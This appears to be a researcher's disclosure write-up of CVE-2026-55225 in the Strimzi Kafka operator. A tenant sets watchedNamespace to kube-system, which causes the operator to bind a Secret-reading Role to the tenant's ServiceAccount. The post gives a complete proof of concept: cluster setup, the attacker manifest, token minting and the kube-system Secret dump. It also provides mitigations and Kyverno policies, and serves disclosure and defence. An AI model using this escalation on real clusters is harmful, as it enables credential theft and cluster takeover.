Cluster-wide secret read via the Strimzi operator with a cross-namespace RoleBinding
I found a vulnerability in the Strimzi Kafka Operator where a namespaced user creates a Kafka object and gets to read every Secret in every namespace, kube-system included, by making the operator plant a Role and a RoleBinding wherever the attacker points, bound to a ServiceAccount in the attacker’s own namespace.
On the Strimzi operator
A Kubernetes operator is a custom controller: you create an object, it sees it and does privileged work to make the cluster match.
Strimzi runs Apache Kafka on Kubernetes. You declare a Kafka object, and the operator builds the cluster: brokers, ServiceAccounts, RBAC, and a helper that manages users and topics. The part that matters here is user management. For each KafkaUser you create, the operator writes that user’s credentials into a Secret.
By default it does this in the Kafka’s own namespace. But it can watch another namespace instead, so a team manages its Kafka users from a namespace it owns while the cluster runs elsewhere. You ask for that with a field:
spec:
entityOperator:
userOperator:
watchedNamespace: some-other-namespace
topicOperator:
watchedNamespace: some-other-namespaceFor the operator’s ServiceAccount to write KafkaUser Secrets over there, the operator drops a Role and RoleBinding into that watched namespace, granting CRUD on Secrets.
Vulnerability
The value watchedNamespace in the Kafka CR is tenant-controlled. So a namespaced user points watchedNamespace at a namespace they want. The operator reconciles the Kafka, and into the target namespace it writes:
- a Role granting full CRUD on Secrets, and
- a RoleBinding tying that Role to a ServiceAccount that lives back in the attacker’s namespace.
PoC
Cluster preparation (kind cluster, operator, tenant RBAC)
kind create cluster --image kindest/node:v1.35.0 --name strimzi-poc --kubeconfig ./kubeconfig
export KUBECONFIG=$PWD/kubeconfig
helm repo add strimzi https://strimzi.io/charts/ >/dev/null
helm install strimzi-operator strimzi/strimzi-kafka-operator \
--version 1.0.0 \
--namespace strimzi --create-namespace \
--set watchAnyNamespace=true \
--wait
# the attacker: a ServiceAccount with edit in tenant, nothing else
kubectl create ns tenant
kubectl -n tenant create sa tenant-sa
kubectl create rolebinding tenant-edit -n tenant \
--clusterrole=edit --serviceaccount=tenant:tenant-sa
APISERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
kubectl config view --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}' | base64 -d > ./ca.crt
TOKEN=$(kubectl -n tenant create token tenant-sa --duration=24h)
kubectl config set-cluster poc --server="$APISERVER" --certificate-authority=./ca.crt --embed-certs=true --kubeconfig=./kubeconfig-tenant
kubectl --kubeconfig=./kubeconfig-tenant config set-credentials tenant --token="$TOKEN"
kubectl --kubeconfig=./kubeconfig-tenant config set-context poc --cluster=poc --user=tenant --namespace=tenant
kubectl --kubeconfig=./kubeconfig-tenant config use-context pocFrom here, --kubeconfig=./kubeconfig-tenant means “acting as the tenant.” Everything below runs with that identity.
1. Apply the attacker manifest.
apiVersion: kafka.strimzi.io/v1
kind: KafkaNodePool
metadata:
name: kafkanodepool-test-case
namespace: tenant
labels:
strimzi.io/cluster: kafka-test-case
spec:
replicas: 1
roles: [controller, broker]
storage:
type: jbod
volumes:
- id: 0
type: ephemeral
kraftMetadata: shared
---
apiVersion: kafka.strimzi.io/v1
kind: Kafka
metadata:
name: kafka-test-case
namespace: tenant
spec:
kafka:
listeners:
- name: plain
port: 9092
type: internal
tls: false
config:
offsets.topic.replication.factor: 1
transaction.state.log.replication.factor: 1
transaction.state.log.min.isr: 1
default.replication.factor: 1
min.insync.replicas: 1
entityOperator:
userOperator:
watchedNamespace: kube-system # <-- target
topicOperator:
watchedNamespace: kube-system # <-- targetkubectl --kubeconfig=./kubeconfig-tenant apply -f attack.yaml
sleep 120 # the cluster-operator takes a minute or two2. Mint a token for the ServiceAccount with kube-system access.
kubectl --kubeconfig=./kubeconfig-tenant apply -f - <<EOF
apiVersion: v1
kind: Secret
metadata:
name: rbac-pwn
namespace: tenant
annotations:
kubernetes.io/service-account.name: kafka-test-case-entity-operator
type: kubernetes.io/service-account-token
EOF
SATOKEN=$(kubectl --kubeconfig=./kubeconfig-tenant -n tenant get secret rbac-pwn -o jsonpath='{.data.token}' | base64 -d)3. Read Secrets in kube-system.
KUBECONFIG=/dev/null kubectl --server="$APISERVER" --insecure-skip-tls-verify --token="$SATOKEN" auth whoami
# system:serviceaccount:tenant:kafka-test-case-entity-operator
# (the entity-operator SA the operator created, not our tenant-sa)
KUBECONFIG=/dev/null kubectl --server="$APISERVER" --insecure-skip-tls-verify --token="$SATOKEN" \
auth can-i get secrets -n kube-system
# yes
KUBECONFIG=/dev/null kubectl --server="$APISERVER" --insecure-skip-tls-verify --token="$SATOKEN" \
-n kube-system get secrets
# every Secret in kube-system, including SA-token Secrets for cluster controllersCluster-wide secret read
On vanilla clusters with legacy SA-token Secrets (Kubernetes before 1.24, or manually created), reading one yields a cluster-admin-equivalent identity directly. OpenShift is full of privileged Secrets by default. And real clusters will almost certainly have custom privileged ServiceAccounts with a token in a Secret, for operators and deploy tools of various kinds.
Mitigation
Upgrade to Strimzi above 1.0.0. The fix puts the cross-namespace watch behind an environment variable, off by default.
Important: the fix is manual opt-in, not a removal of the feature. If you manually set STRIMZI_ENTITY_OPERATOR_WATCHED_NAMESPACE_ENABLED to true, the same behavior returns.
Alternatively, block the field with an admission policy.
Kyverno policy: block cross-namespace watchedNamespace
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: block-strimzi-cross-ns-watch
spec:
background: true
rules:
- name: user-operator-watchns
match:
any:
- resources:
kinds:
- kafka.strimzi.io/*/Kafka
validate:
failureAction: Enforce
message: "entityOperator.userOperator.watchedNamespace ({{ request.object.spec.entityOperator.userOperator.watchedNamespace }}) must equal the Kafka's own namespace ({{ request.namespace }}) (CVE-2026-55225)"
deny:
conditions:
all:
- key: "{{ request.object.spec.entityOperator.userOperator.watchedNamespace || request.namespace }}"
operator: NotEquals
value: "{{ request.namespace }}"
- name: topic-operator-watchns
match:
any:
- resources:
kinds:
- kafka.strimzi.io/*/Kafka
validate:
failureAction: Enforce
message: "entityOperator.topicOperator.watchedNamespace ({{ request.object.spec.entityOperator.topicOperator.watchedNamespace }}) must equal the Kafka's own namespace ({{ request.namespace }}) (CVE-2026-55225)"
deny:
conditions:
all:
- key: "{{ request.object.spec.entityOperator.topicOperator.watchedNamespace || request.namespace }}"
operator: NotEquals
value: "{{ request.namespace }}"Defense in depth
A namespaced RoleBinding, despite the name, does not keep access inside its namespace. It grants a Role to a subject, and that subject can be a ServiceAccount from anywhere. I believe this is not widely known, even though RoleBinding is a default resource everyone uses.
For a multi-tenant cluster I suggest a defense in depth measure: block the pattern at admission and grant rare exceptions where you actually need cross-namespace access.
A Kyverno policy example that rejects any RoleBinding whose subject lives in a different namespace:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: no-foreign-subject-rolebindings
spec:
background: true
rules:
- name: subject-must-be-same-namespace
match:
any:
- resources:
kinds:
- RoleBinding
validate:
failureAction: Enforce
message: "a RoleBinding may only bind ServiceAccount subjects from its own namespace"
foreach:
- list: "request.object.subjects"
deny:
conditions:
all:
- key: "{{ element.kind }}"
operator: Equals
value: ServiceAccount
- key: "{{ element.namespace || request.namespace }}"
operator: NotEquals
value: "{{ request.namespace }}"One caveat: Kyverno ships default resource filters that exclude critical namespaces such as kube-system from admission control. Under stock settings this policy does not fire on RoleBindings created there, so it would not have stopped the kube-system attack above. Narrow the resourceFilters in the Kyverno config to bring those namespaces back under the policy.
The disclosure
I first reported the vulnerability to the developer, and the response was that he “does not consider this as a vulnerability,” since watchedNamespace is an intentional feature. To his credit, he was open to discussing how to improve the situation.
Then I reported to Red Hat, since the same vuln also exists in “Streams for Apache Kafka” for OpenShift. It is worse there, in fact: when the operator is OLM-installed, the default OpenShift “edit” role lets a namespaced user create Kafka resources.
With their help we convinced the developer to fix the issue. So I want to thank the Red Hat security team for their fast responses and professionalism.
Developers are not security engineers, so it may take a bit of effort to make a good case: explaining what defines a vulnerability, the threat model most Kubernetes admins have, and similar CVE examples.